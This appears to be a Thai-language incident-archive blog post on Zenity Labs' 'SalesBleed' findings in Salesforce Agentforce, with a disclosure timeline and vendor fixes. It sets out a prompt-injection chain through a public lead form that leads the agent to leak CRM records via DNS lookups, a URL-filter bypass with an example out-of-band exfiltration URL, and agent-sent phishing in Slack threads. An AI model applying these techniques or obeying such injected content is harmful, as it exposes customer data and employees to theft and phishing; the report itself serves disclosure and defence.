AI Safety Incidents

SalesBleed: ลีดสาธารณะหนึ่งราย, ข้อบกพร่องของ Agentforce สามข้อ, คลิกศูนย์

ผู้เขียน

Elias Hawthorne

วันที่เผยแพร่

Oct 26, 2026

โมเดลล่าสุด · 20ดูโมเดลทั้งหมด →

เบนช์มาร์ก: Artificial Analysis · อัปเดตทุกวัน

กลับไปยังโพสต์ทั้งหมด

เมื่อวันที่ 24 กันยายน 2026 Zenity Labsได้เผยแพร่ผลการวิจัยที่เรียกกันว่า SalesBleed: ช่องโหว่สามรายการใน Salesforce Agentforce ซึ่งเป็นแพลตฟอร์มของบริษัทผู้ให้บริการ CRM สำหรับสร้างและปรับใช้เอเจนต์ AI ที่ทำให้คนนอกสามารถดึงบันทึกข้อมูลลูกค้าออกจาก Salesforce org ของบริษัทหนึ่ง แล้วใช้เอเจนต์ของบริษัทนั้นเองเพื่อฟิชชิงพนักงานของบริษัท สองในสามช่องโหว่นี้ไม่ต้องอาศัยการคลิกจากใครก็ตามภายในบริษัท ความเสี่ยงดังกล่าวใช้กับผู้เช่า Agentforce ที่รับการส่งข้อมูลจาก Web-to-Lead และกับเอเจนต์ใด ๆ ที่ผู้เช่าเผยแพร่ไว้ใน Slack Dark Reading รายงานว่าไม่มีการกำหนดหมายเลข CVE และ Salesforce กล่าวกับสื่อดังกล่าวว่าไม่มีหลักฐานการถูกใช้ประโยชน์เพื่อโจมตีลูกค้ารายใด บันทึกฉบับเต็ม พร้อมระดับความเชื่อมั่นและสถานะความเสียหายตามที่คลังข้อมูลกำหนด อยู่ใน Orca AI Incident Archive ซึ่งบันทึกเหตุการณ์เอเจนต์ที่ได้รับการบันทึกไว้แต่ละรายการเทียบกับแหล่งอ้างอิงที่อ้างถึง

แบบฟอร์มลีดสาธารณะกลายเป็นช่องทางข้อมูลได้อย่างไร

Web-to-Lead คือกลไกอย่างเป็นทางการของ Salesforce สำหรับการเก็บรวบรวมลีด และโดยการออกแบบแล้วมันไม่มีการยืนยันตัวตน — มันมีอยู่เพื่อให้ใครก็ได้บนอินเทอร์เน็ตสามารถส่งฟอร์มและให้เนื้อหานั้นไปอยู่ใน CRM ของลูกค้า โพสต์แรกของ Zenity ซึ่งให้เครดิตแก่ Alex Apostolov และเพื่อนร่วมงาน เปิดด้วยประเด็นนั้นในฐานะเงื่อนไขการเข้าถึงทั้งหมด: ไม่มีบัญชีให้ระงับ ไม่มีเซสชันให้เพิกถอน ไม่มีเหตุการณ์ล็อกอินให้ตรวจจับ ผู้โจมตีไม่เคยแตะต้องเทเนนต์เลย

ห่วงโซ่ที่นักวิจัยบรรยายไว้นั้นดำเนินไปในห้าขั้นตอน:

• ผู้โจมตีส่งลีดผ่านปลายทาง Web-to-Lead แบบสาธารณะ โดยมี prompt injection ที่ซ่อนอยู่ในฟิลด์หนึ่งของลีดนั้น ซึ่งดูเหมือนเป็นคำถามทั่วไป

• ลีดจะยังอยู่ตรงนั้นจนกว่าพนักงานจะถามเอเจนต์ของตนในเรื่องธรรมดา ๆ — ตัวอย่างของ Zenity คือ "ตรวจสอบลีดล่าสุดของฉันและช่วยฉันจัดการลีดใหม่ที่สุด"

• เอเจนต์อ่านบันทึกที่ถูกวางยาพิษและปฏิบัติตามคำแนะนำที่อยู่ภายในบันทึกนั้น โดยใช้เครื่องมือ Query Records ที่General CRMซับเอเจนต์ค่าเริ่มต้นมีอยู่แล้วเพื่อสอบถามตาราง Accounts Zenity ระบุชัดเจนว่าไม่จำเป็นต้องยกระดับสิทธิ์: ซับเอเจนต์เดียวกันนี้มาพร้อมสิทธิ์การอ่านทั้ง Leads และ Accounts และสิ่งเหล่านี้เป็นค่าเริ่มต้น ไม่ใช่การกำหนดค่าที่ผิดพลาด

• มันเขียนค่าที่ดึงมาได้ — ชื่อบริษัทและขนาดดีล ในตัวอย่างของนักวิจัย — ลงในซับโดเมนของโฮสต์เนมที่ผู้โจมตีควบคุม และแสดงผลลัพธ์กลับให้ผู้ใช้เป็นแท็กอิมเมจ HTML

• หน้าจอแชทแสดงแหล่งรูปภาพภายนอกโดยไม่มีการ sanitize หรือขั้นตอนยืนยัน ดังนั้นไคลเอนต์จึงทำการ resolve ชื่อโฮสต์ ข้อมูลจึงหลุดออกไปภายในคิวรี DNS

HTML card kicked 'SalesBleed · the chain Zenity Labs describes', titled 'One form submission, five moves, zero clicks' and subtitled 'The entry point is a public form. The exit is a DNS lookup. Nothing in between asks for approval.' Five numbered bands run down the card. Step 1, 'Submit': a hidden indirect prompt injection goes into a field of a public Web-to-Lead form, and the endpoint is unauthenticated by design, so there is no account to suspend and no session to revoke. Step 2, 'Wait': the poisoned lead sits in the Leads table until an employee asks an ordinary question, such as check my latest leads and help me with the newest one. Step 3, 'Query': the agent follows the injected instructions and uses the Query Records tool in the default General CRM subagent to read the Accounts table, under permissions that subagent already holds. Step 4, 'Encode': a company name and a deal size are written into the subdomain of an attacker-controlled hostname and printed back to the user as an HTML image tag. Step 5, 'Leave': the chat surface fetches external images without asking, the client resolves the hostname, and the data reaches the attacker's authoritative DNS server before any HTTP request completes. A footer reads 'Steps as described by Zenity Labs on 24 September 2026; the Slack variant swaps the image tag for Slack URL unfurling. Card rendered by OrcaRouter.'

ขั้นตอนสุดท้ายนั้นคือส่วนที่ควรชะลอลงมาพิจารณา เพราะเพย์โหลดเดินทางไปพร้อมกับการค้นหา DNS คำขอ HTTP ที่ตามมาจึงไม่สำคัญ — จะล้มเหลว หมดเวลา หรือถูกบล็อกไปเลยก็ได้ และข้อมูลก็ออกไปแล้ว Zenity ระบุว่าวิธีนี้อยู่รอดจากการควบคุม HTTP egress ได้ ป้ายกำกับ DNS หนึ่งป้ายจำกัดไว้ที่ 63 ตัวอักษร และชื่อเต็มที่ 253 ตัวอักษร ดังนั้นการส่งหนึ่งครั้งจึงรั่วข้อมูลได้เพียงเสี้ยวเดียว นักวิจัยอธิบายถึงการดึงข้อมูลทั้งตาราง Accounts ออกมาทีละบัญชีผ่านคำขอซ้ำ ๆ ซึ่งเป็นที่มาของคำว่า "bleed" ในชื่อนี้

มีช่องทางหลุดออกไปช่องทางที่สองที่ใช้ความพยายามน้อยยิ่งกว่าเดิมเสียอีก: สำหรับเอเจนต์ที่เผยแพร่ลงใน Slack ไม่จำเป็นต้องมีแท็กอิมเมจเลย Slack จะเปลี่ยน URL ดิบให้เป็นพรีวิวและครอวล์ลิงก์เพื่อสร้างพรีวิวนั้น ดังนั้นการพิมพ์ URL ออกมาก็เพียงพอที่จะกระตุ้นการค้นหา DNS แบบเดียวกันได้ SecurityWeek อ้างคำสรุปของ Zenity เกี่ยวกับพฤติกรรมที่เกิดขึ้น: Slack จะเริ่มส่งคำขอที่พาข้อมูล CRM ไปยังโครงสร้างพื้นฐานที่ผู้โจมตีควบคุมทันทีที่ลิงก์เหล่านั้นปรากฏขึ้น

Zenity ระมัดระวังความหมายของ “zero-click” ในที่นี้ และความแตกต่างนี้สำคัญ พนักงานทำเพียงสิ่งเดียว: ถามเอเจนต์ของตนเองด้วยคำถามปกติเกี่ยวกับลีดของตนเอง พวกเขาไม่ได้เปิดไฟล์แนบ ไม่ได้ติดตามลิงก์ หรือโต้ตอบกับสิ่งใดที่ผู้โจมตีส่งมา ทุกอย่างหลังจากคำถามนั้นเป็นไปโดยอัตโนมัติ ลีดที่เป็นอันตรายยังคงอยู่ในตาราง Leads เช่นเดียวกับบันทึกอื่น ๆ ดังนั้นมันจึงสามารถทำงานได้อีกทุกครั้งที่พนักงานตรวจดูมัน — และผู้โจมตีที่ต้องการช่องทางที่กว้างขึ้นก็เพียงส่งลีดเพิ่มเติมเข้ามา SecurityWeek บันทึกรายละเอียดที่ทำให้ความล้มเหลวนี้ชัดเจนยิ่งขึ้น: Agentforce รายงานว่าเนื้อหาถูกบล็อกโดยนโยบายความปลอดภัยขององค์กร แม้ว่าข้อมูล CRM จะไปถึงเซิร์ฟเวอร์ของผู้โจมตีแล้วก็ตาม

เหตุใดตัวกรอง Trusted URLs จึงไม่คงอยู่

Trusted URLs คือกลไกควบคุมของ Salesforce ที่มีจุดประสงค์เพื่อหยุดสถานการณ์แบบนี้โดยเฉพาะ — โดยจำกัดปลายทางภายนอกที่ Agentforce เข้าถึงได้ และตัดลิงก์และรูปภาพที่ชี้ไปยังโดเมนที่ยังไม่ได้รับการอนุมัติออกไป Zenity พบกรณีขอบสองกรณีซึ่งเมื่อนำมารวมกันแล้วสามารถทะลุผ่านกลไกนี้ไปได้เลย

ประการแรกคือโดเมนระดับบนสุด ตัวปิดบังข้อมูลรู้จักเฉพาะรายการ TLD แบบตายตัว และ .fun — โดเมนที่ใช้โดยแพลตฟอร์มทดสอบแบบ out-of-band ที่ app.interactsh.com — ไม่อยู่ในรายการนั้น ชื่อโฮสต์ที่ลงท้ายด้วย TLD ที่ไม่รู้จักอาจไม่ถูกนับเป็นชื่อโฮสต์เลยก็ได้ ประการที่สองคือจุดที่ URL สิ้นสุด: ตัวปิดบังข้อมูลกับส่วนที่แสดงผลคำตอบเห็นไม่ตรงกันเกี่ยวกับอักขระสิ้นสุด และเครื่องหมายปีกกากับวงเล็บเหลี่ยมก็อยู่ในช่องว่างนั้น สตริงอย่าง https://random_string.oast.fun/{email} ไม่ใช่ URI ที่ถูกต้องตาม RFC 3986 แต่ก็ยังสร้าง DNS query ที่การโจมตีต้องการได้ ตัวปิดบังข้อมูลมองว่าเป็นสิ่งที่ไม่ใช่ URL และมีรูปแบบผิด จึงปล่อยไว้เฉย ๆ; แต่เบราว์เซอร์ยินดีดึงมันมาเป็นแหล่งรูปภาพ

รายละเอียดเชิงโครงสร้างอย่างหนึ่งทำให้การบายพาสสามารถปรับแต่งได้ การรีแดกชันทำงานหลังเอเจนต์สร้างเอาต์พุตเสร็จ โดยเป็นกระบวนการแยกต่างหากที่โมเดลไม่รู้อะไรเลย Zenity พบว่าเอาต์พุตดิบของเอเจนต์และเวอร์ชันที่ผ่านการรีแดกชันปรากฏอยู่ทั้งคู่ในคำตอบที่ส่งไปยังไคลเอนต์ ซึ่งทำให้นักวิจัยเปรียบเทียบทั้งสองและตัดความผิดปกติใด ๆ ที่ฟิลเตอร์กำลังจับได้ออก — เช่น เครื่องหมายวงเล็บเหลี่ยมในซับโดเมน — จนกว่าการฉีดจะเสถียรตั้งแต่ต้นจนจบ

Dark Reading รายงานว่าการปกปิด URL ของ Salesforce จนถึงตอนนี้ต้องอาศัยการจับคู่ด้วยนิพจน์ปกติเพื่อตัดสินว่าสตริงใดดูเหมือน URL ซึ่งเป็นสิ่งที่ทำให้โดเมนถูกซ่อนในรูปแบบที่ไม่คาดคิด บริษัทกล่าวว่าตนได้แทนที่วิธีดังกล่าวด้วยการแยกวิเคราะห์ URL ที่สอดคล้องตามข้อกำหนดมาตรฐาน และได้รวมการตรวจสอบ URL เข้าไว้ด้วยกัน เพื่อให้ทราฟฟิกของเอเจนต์ทั้งหมดที่เกี่ยวข้องกับ URL ผ่านเกตเวย์เดียว

ข้อบกพร่องประการที่สาม: การฟิชชิงภายใต้ชื่อของเอเจนต์เอง

การค้นพบใน Slack ซึ่งเผยแพร่ในวันเดียวกันในโพสต์ที่สองที่ให้เครดิตแก่ João Donato และเพื่อนร่วมงาน เป็นเรื่องเกี่ยวกับอัตลักษณ์มากกว่าข้อมูล เอเจนต์ Agentforce สามารถเผยแพร่โดยตรงเข้าไปใน Slack และความสามารถของเอเจนต์เหล่านั้นมาในรูปแบบซับเอเจนต์; Zenity ระบุว่า Slack Knowledgeซึ่งเป็นเทมเพลต รวมถึงแอ็กชันทั้งหมดของเทมเพลตนั้น สามารถเพิ่มได้ด้วยการคลิกสองครั้ง

การดำเนินการแบบเขียนใน Slack ส่วนใหญ่ที่นักวิจัยตรวจสอบมีมาตรการป้องกันสองอย่าง ได้แก่ ขั้นตอนยืนยันก่อนส่ง และการระบุผู้เรียกใช้ซึ่งบอกผู้รับว่าคำขอของผู้ใช้คนใดทำให้เกิดข้อความ การส่งข้อความโดยตรงใน Slack มีทั้งสองอย่าง การตอบกลับเธรดใน Slack ไม่มีทั้งสองอย่าง เมื่อ Agentforce ตัดสินใจเรียกใช้การดำเนินการนั้น ข้อความก็ถูกส่งออกไปโดยไม่มีการอนุมัติและไม่มีการระบุที่มา — ข้อความนั้นมีตัวตนของเอเจนต์และไม่มีสิ่งใดที่ชี้กลับไปยังผู้ที่ขอให้ส่ง

สิ่งนี้ก่อให้เกิดเส้นทางการโจมตีสองเส้นทาง บุคคลภายในที่มีเจตนาร้ายซึ่งสามารถแชตกับเอเจนต์ได้อยู่แล้วสามารถโพสต์ฟิชชิงไปยังเธรดที่ถูกต้องแล้วจากไปโดยไม่มีสิ่งใดสาวกลับมาถึงตนได้ เพราะผู้รับอ่านข้อความนั้นว่าเป็นข้อความจากเอเจนต์ ผู้โจมตีภายนอกได้ผลลัพธ์เดียวกันผ่านการฉีดข้อมูล Web-to-Lead: ลีดที่ถูกวางยาจะสั่งให้เอเจนต์ตอบกลับเข้าไปในช่อง Slack และเอเจนต์ก็ทำเช่นนั้นโดยไม่ถามพนักงานที่ทำให้เกิดเหตุ การข้ามการปิดบัง URL จากโพสต์แรกคือสิ่งที่ทำให้ลิงก์ฟิชชิงรอดจากการกรองไปได้; ภายหลัง Zenity พบว่าลิงก์ยังสามารถถูกซ่อนไว้หลังข้อความ markdown ที่ดูไม่เป็นอันตรายได้ด้วย ทั้ง Zenity และ Salesforce ต่างอธิบายผลลัพธ์ในลักษณะเดียวกัน: พนักงานได้รับข้อความจากระบบที่เชื่อถือได้ซึ่งดำเนินงานอยู่ภายในสถานที่ทำงานของตนอยู่แล้ว แทนที่จะมาจากผู้ส่งภายนอกที่ไม่คุ้นเคย และใครก็ตามที่คลิกลิงก์และมอบข้อมูลรับรองจะเปิดเผยอีเมล Slack คลังเก็บโค้ดต้นฉบับ และสิ่งอื่นใดก็ตามที่ตัวตนนั้นสามารถเข้าถึงได้

สิ่งที่ได้รับการยืนยันแล้ว และสิ่งที่ยังไม่ได้รับการยืนยัน

มีสี่ประเด็นที่ได้ข้อสรุปจากแหล่งข้อมูลที่ตรวจสอบในที่นี้ Zenity ได้สาธิตห่วงโซ่การโจมตีและเผยแพร่วิดีโอหลักฐานแนวคิด Salesforce ยอมรับการวิเคราะห์และอธิบายถึงการเปลี่ยนแปลงที่ตนได้ทำ — ในแถลงการณ์ถึง Dark Reading และ SecurityWeek ไม่มีการกำหนด CVE ให้กับช่องโหว่ทั้งสามรายการ ซึ่ง Dark Reading อ้างว่าเป็นเพราะการแก้ไขเกิดขึ้นฝั่ง Salesforce ของบริการโฮสต์ ไม่ใช่ในซอฟต์แวร์ที่ลูกค้าใช้งาน และ Salesforce ระบุว่า ณ ขณะนี้ยังไม่มีหลักฐานว่าใด ๆ จากทั้งหมดนั้นถูกใช้โจมตีลูกค้า

HTML card kicked 'SalesBleed · what the sources actually support', titled 'Established, unproven, and unknown' and subtitled 'The record is graded confidence A on documentation, not on evidence of use.' Three columns. Column one, 'Established', sub-headed 'Agreed by the finder and the vendor': Zenity Labs demonstrated zero-click CRM exfiltration through Web-to-Lead against Agentforce; Salesforce acknowledges the analysis and describes the changes it made; no CVE identifiers were assigned to any of the three flaws; Salesforce says it has no evidence the flaws were exploited against a customer. Column two, 'Not independently reproduced', sub-headed 'Reporting, not re-testing': the technical chain rests on Zenity Labs' own testing and its video proof of concept; Dark Reading, SecurityWeek, Infosecurity Magazine and The Register all report the findings and carry Salesforce's statement; none of the coverage reviewed carries its own reproduction of the attack. Column three, 'Not published anywhere', sub-headed 'No source reviewed states these': how many tenants ran the affected defaults; whether any customer data left a customer environment; whether anyone other than Zenity Labs and Salesforce looked for the flaws in use. A footer reads 'As reported on 24 and 25 September 2026. Card rendered by OrcaRouter.'

สิ่งที่ยังไม่ได้รับการคลี่คลายคือเรื่องขนาดหรือขอบเขต ไม่มีแหล่งข้อมูลใดที่ตรวจสอบในที่นี้ระบุว่ามี tenant ของ Agentforce จำนวนเท่าใดที่ใช้ค่าตั้งต้นที่ได้รับผลกระทบ ข้อมูลลูกค้าใดหรือไม่ที่ออกจากสภาพแวดล้อมของลูกค้าจริง หรือมีใครนอก Zenity Labs และ Salesforce ค้นหาสิ่งนี้หรือไม่ สื่ออิสระ ได้แก่ Dark Reading, SecurityWeek, Infosecurity Magazine และ The Register ต่างรายงานผลการค้นพบและเผยแพร่คำชี้แจงของ Salesforce แต่ไม่มีรายงานข่าวใดเหล่านั้นรายงานการจำลองการโจมตีด้วยตนเอง ไม่มีการสอบสวนทางเทคนิคอิสระครั้งที่สองเกี่ยวกับ SalesBleed และบทความนี้ไม่ได้สื่อว่ามี

แหล่งข้อมูลของรายงานฉบับนี้เองก็ยังขัดแย้งกันในรายละเอียดหนึ่ง ซึ่งเป็นความขัดแย้งที่ควรระบุให้ชัดมากกว่าจะกลบเกลื่อนให้เรียบร้อย เอกสารข่าวของ Zenity ซึ่งเผยแพร่ผ่าน Business Wire เมื่อวันที่ 24 กันยายน ระบุว่า Salesforce แก้ไขการหลบเลี่ยง Trusted URLs เป็นกรณีเฉพาะที่ Zenity รายงานให้ทราบ "ภายในเวลาประมาณสองสัปดาห์" ส่วนลำดับเวลารายวันในบทความทางเทคนิคของ Zenity นั้นเริ่มตั้งแต่วันที่ 1 มิถุนายน ซึ่งเป็นวันที่ส่งรายงาน ไปจนถึงวันที่ 18 และ 19 สิงหาคม ซึ่งเป็นวันที่ยืนยันการแก้ไขแล้ว รวมแล้วใกล้เคียงสิบเอ็ดสัปดาห์ ทั้งสองฉบับมาจากองค์กรเดียวกัน

Salesforce เปลี่ยนแปลงอะไรบ้าง และเมื่อใด

การเปิดเผยข้อมูลใช้เวลานาน และตามที่ Zenity ระบุ ก็เป็นไปอย่างสุภาพ ผลการตรวจพบถูกส่งไปยัง Salesforce ทางอีเมลเมื่อวันที่ 1 มิถุนายน 2026 Salesforce ยืนยันผลการตรวจพบเหล่านั้นในวันถัดมา และแจ้งว่ากำลังดำเนินการแก้ไข ทั้งสองทีมจัดการประชุมทางเทคนิคเมื่อวันที่ 16 มิถุนายน Salesforce ปิดการเปิดเผยข้อมูลเมื่อวันที่ 17 มิถุนายน โดยระบุว่าฝ่ายวิศวกรรมยังคงดำเนินการอยู่ เมื่อวันที่ 18 สิงหาคม Salesforce ยืนยันการแก้ไข และเมื่อวันที่ 19 สิงหาคม Zenity ตรวจสอบและยืนยันโดยเฉพาะกรณีการข้าม Trusted URLs การระบุแหล่งที่มาของการกระทำผ่าน Slack ได้รับการยืนยันว่าแก้ไขแล้วเมื่อวันที่ 20 สิงหาคม การกำหนดให้ต้องมีการยืนยันเป็นค่าเริ่มต้นใช้เวลานานกว่า เมื่อวันที่ 25 สิงหาคม Salesforce แจ้งว่ายังคงดำเนินการอยู่ เมื่อวันที่ 10 กันยายน ระบุเป้าหมายเป็นวันที่ 21 กันยายน และเมื่อวันที่ 21 กันยายน Zenity ทดสอบและยืนยันทั้งสามรายการ

HTML card kicked 'SalesBleed · disclosure timeline as published by Zenity Labs', titled 'June to September: eleven weeks of fixes' and subtitled 'Two reports, one Salesforce response. Dates are Zenity Labs' own disclosure notes.' Nine rows run down a vertical timeline. 1 June 2026: Zenity Labs reports all findings to Salesforce by email. 2 June 2026: Salesforce confirms the reports and says it is working on fixes quickly. 16 June 2026: call with the Salesforce security team on the vulnerability and possible mitigations. 17 June 2026: Salesforce closes the disclosures, noting engineering is actively working on a fix. 18 August 2026: Salesforce confirms the fixes. 19 August 2026: Zenity Labs confirms the fix for the reported Trusted URLs bypass. 20 August 2026: Zenity Labs confirms Reply to a Slack Thread now attributes the invoking user. 25 August to 10 September 2026: confirmation-by-default for that Slack action still pending, with Salesforce targeting 21 September. 21 September 2026: all fixes confirmed and tested by Zenity Labs. A footer reads 'Timeline per Zenity Labs, 24 September 2026. Salesforce's own statement to Dark Reading and SecurityWeek confirms the Slack default change and the Trusted URLs work. Card rendered by OrcaRouter.'

การเปลี่ยนแปลงที่ Salesforce อธิบายมานั้นมีความเฉพาะเจาะจง การตั้งค่าเริ่มต้นสำหรับการดำเนินการบางอย่างของ Agentforce ใน Slack ตอนนี้กำหนดให้ผู้ใช้ยืนยันก่อนที่จะส่งข้อความ และบริษัทระบุว่ากำลังติดต่อลูกค้าโดยตรงเพื่อตรวจสอบการกำหนดค่าของลูกค้า สำหรับ Trusted URLs การจับคู่แบบ regex ถูกยกเลิกไปแล้ว โดยหันมาใช้การแยกวิเคราะห์ที่สอดคล้องกับข้อกำหนดแทน และการตรวจสอบ URL ได้ถูกรวมไว้ในเกตเวย์เดียว แทนที่จะถูกจัดการในหลายจุดของเวิร์กโฟลว์

บันทึกปิดท้ายของ Zenity เกี่ยวกับการแก้ไขของ Slack เป็นข้อควรระวังมากกว่าคำยืนยันว่าปลอดภัยทั้งหมด ข้อกำหนดการยืนยันเป็นเพียงการตั้งค่า และใช้เวลาเพียงคลิกเดียวในการปิด; เมื่อปิดแล้ว เส้นทางการโจมตีเดิมก็กลับมาเปิดอีกครั้ง คำแนะนำของนักวิจัยสำหรับองค์กรที่สร้างเอเจนต์คือให้จับตาดูวิธีการกำหนดค่าการดำเนินการแบบเขียน มากกว่าที่จะถือว่าค่าเริ่มต้นยังคงมีผลอยู่

ทำไมนักวิจัยจึงกล่าวว่ามันสามารถใช้ได้ทั่วไป

แม้ว่ารายละเอียดจะเฉพาะเจาะจงกับ Salesforce แต่ Zenity มอง SalesBleed เป็นตัวอย่างหนึ่งของรูปแบบที่เกิดขึ้นซ้ำ ๆ สรุปของ Zenity เองคือ เอเจนต์ใดก็ตามที่อ่านบันทึกซึ่งถูกส่งมาจากแหล่งภายนอก แสดงลิงก์หรือรูปภาพกลับไปยังผู้ใช้ และยังมีสิทธิ์เข้าถึงเครื่องมือที่เชื่อมกับข้อมูลอ่อนไหว จะมีส่วนประกอบสามอย่างเดียวกันอยู่ในจุดเดียวกัน นักวิจัยเรียกการผสมผสานนี้ว่าเป็นรูปแบบหนึ่งของ lethal trifecta — ข้อมูลส่วนตัว เนื้อหาที่ไม่น่าเชื่อถือ และช่องทางส่งออก ที่มาบรรจบกันในตัวตนเดียว

รูปแบบนี้มีประวัติมาก่อนในแวดวงนี้ Dark Reading รายงานว่า หนึ่งปีก่อนเกิด SalesBleed นักวิจัยที่ Noma Security ใช้เส้นทาง Web-to-lead เดียวกันเพื่อเข้าถึงข้อมูลของ Salesforce และ Salesforce ตอบโต้ด้วยการกระชับกฎเกี่ยวกับ URL ของตน ซึ่งก็คือการปกปิดข้อมูลด้วย regex ที่ต่อมา Zenity สามารถหลบเลี่ยงไปได้ โฆษกของ Salesforce ยอมรับกับ Dark Reading ว่าการตอบสนองครั้งก่อนเป็นการแก้ไขแบบเร่งด่วนมากกว่าจะเป็นวิธีที่ครอบคลุม และกล่าวว่าครั้งนี้ตั้งใจให้มีความแข็งแกร่งมากกว่า

“เราพบหลายวิธีในการเจาะผ่านขอบเขตความปลอดภัยที่ออกแบบมาเพื่อหยุด Agentforce ไม่ให้ส่งข้อมูลองค์กรไปยังปลายทางที่ไม่ได้รับอนุญาต” Michael Bargury ผู้ร่วมก่อตั้งและประธานเจ้าหน้าที่ฝ่ายเทคโนโลยีของ Zenity กล่าวในข่าวประชาสัมพันธ์ “ขอบเขตที่แข็งแรงยังคงเป็นหนึ่งในเครื่องมือที่ทรงพลังที่สุดที่เรามีในการจำกัด AI agents แต่พวกมันก็ยังเป็นซอฟต์แวร์ เมื่อการควบคุมเหล่านั้นล้มเหลว เราก็เหลือเอาไว้ซึ่ง agent ที่มีสิทธิ์เข้าถึงระดับสูง มีความเป็นอิสระสูง และไม่มีขอบเขต” Tamir Ishay Sharbat ผู้อำนวยการฝ่ายวิจัยความปลอดภัยของ Zenity กล่าวถึงประเด็นที่กว้างขึ้นกับ Dark Reading ว่า ยิ่ง agent ได้รับอำนาจมากเท่าไร ก็ยิ่งอันตรายมากเท่านั้น และ agent ที่สามารถส่งข้อความผ่านหลายช่องทางได้ด้วยตัวเอง ขณะเดียวกันก็อ่านสัญญา ลีด หรือบัญชีเจ้าหนี้ เป็นการผสมผสานที่จะถูกนำไปใช้ในทางที่ผิด Bargury เสริมความกังวลอีกประการหนึ่งกับสื่อเดียวกันว่า agents กำลังถูกสร้างขึ้นเป็นกล่องดำ โดยมีบทสรุปแทนบันทึก ซึ่งทำให้ยากที่จะบอกว่า agent ทำอะไรหรือเพราะเหตุใด

สิ่งที่จะทำให้บันทึกนี้เปลี่ยนจากการสาธิตไปเป็นเหตุการณ์จริงไม่ใช่เทคนิคใหม่ แต่เป็นหลักฐานชิ้นหนึ่ง ได้แก่ การเปิดเผยจากลูกค้า, CVE, หรือแถลงการณ์จาก Salesforce หรือ Zenity ว่าเคยพบเห็นห่วงโซ่เหล่านี้ถูกนำไปใช้จริง ไม่มีสิ่งใดเหล่านั้นอยู่ในแหล่งข้อมูลที่ตรวจสอบในที่นี้ จนกว่าจะมีหลักฐานดังกล่าว SalesBleed ก็ยังคงเป็นไปตามที่เอกสารจดหมายเหตุบันทึกไว้ — ช่องโหว่ระดับความรุนแรงสูง ซึ่งได้รับการจัดทำเอกสารตามมาตรฐานความเชื่อมั่นระดับ A โดยผู้ที่ค้นพบ และได้รับการยืนยันจากผู้ขายว่าแก้ไขแล้ว โดยไม่มีบันทึกความเสียหายในโลกจริง

SalesBleed: ลีดสาธารณะหนึ่งราย, ข้อบกพร่องของ Agentforce สามข้อ, คลิกศูนย์

แบบฟอร์มลีดสาธารณะกลายเป็นช่องทางข้อมูลได้อย่างไร

เหตุใดตัวกรอง Trusted URLs จึงไม่คงอยู่

ข้อบกพร่องประการที่สาม: การฟิชชิงภายใต้ชื่อของเอเจนต์เอง

สิ่งที่ได้รับการยืนยันแล้ว และสิ่งที่ยังไม่ได้รับการยืนยัน

Salesforce เปลี่ยนแปลงอะไรบ้าง และเมื่อใด

ทำไมนักวิจัยจึงกล่าวว่ามันสามารถใช้ได้ทั่วไป

ผลิตภัณฑ์

ทรัพยากร

สำหรับผู้ให้บริการ

เข้าร่วมคอมมูนิตี้ของเรา

จากบล็อก

ผู้ให้บริการโมเดล